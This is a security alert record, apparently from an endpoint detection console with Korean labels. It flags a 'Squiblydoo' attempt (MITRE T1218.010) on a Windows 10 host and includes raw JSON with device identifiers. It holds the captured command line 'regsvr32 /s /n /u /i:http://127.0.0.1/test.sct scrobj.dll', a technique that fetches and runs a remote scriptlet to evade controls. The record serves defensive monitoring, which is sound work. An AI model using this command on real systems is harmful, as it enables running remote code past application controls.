Alert Information High
Alert ID
ind:561559e2fcea400ba3601b74d64aa30b:149979305462-10191-20635408
Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:561559e2fcea400ba3601b74d64aa30b:149979305462-10191-20635408
설명
A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line.
호스트
DESKTOP-FNUMV3U
상태
new
생성 시간
2025-12-22 07:11:49
업데이트 시간
2025-12-22 08:10:49
MITRE ATT&CK
Tactic
Defense Evasion
Technique
Regsvr32
Command Line
regsvr32  /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll
Raw JSON Data
{"id":"ind:561559e2fcea400ba3601b74d64aa30b:149979305462-10191-20635408","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:561559e2fcea400ba3601b74d64aa30b:149979305462-10191-20635408","agent_id":"561559e2fcea400ba3601b74d64aa30b","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line.","severity":70,"severity_name":"High","confidence":80,"tactic":"Defense Evasion","tactic_id":"TA0005","technique":"Regsvr32","technique_id":"T1218.010","cmdline":"regsvr32  /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll","filename":"regsvr32.exe","filepath":"\\Device\\HarddiskVolume1\\Windows\\System32\\regsvr32.exe","sha256":"022cb167a29a32dae848be91aef721c74f1975af151807dafcc5ed832db246b7","status":"new","type":"ldt","created_timestamp":"2025-12-21T22:11:49.765174803Z","updated_timestamp":"2025-12-21T23:10:49.772681773Z","device":{"device_id":"561559e2fcea400ba3601b74d64aa30b","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.20309.0","hostname":"DESKTOP-FNUMV3U","local_ip":"172.26.224.1","external_ip":"14.47.49.244","mac_address":"00-15-5d-52-e9-ba","platform_name":"Windows","os_version":"Windows 10"},"aggregate_id":"aggind:561559e2fcea400ba3601b74d64aa30b:4483476307","CreatedAt":"2025-12-22T07:11:49.7651748+09:00","UpdatedAt":"2025-12-22T08:10:49.7726818+09:00"}
Quick Info
  • Severity High
  • Score 70
  • Agent ID 561559e2fcea400ba3601b74d64aa30b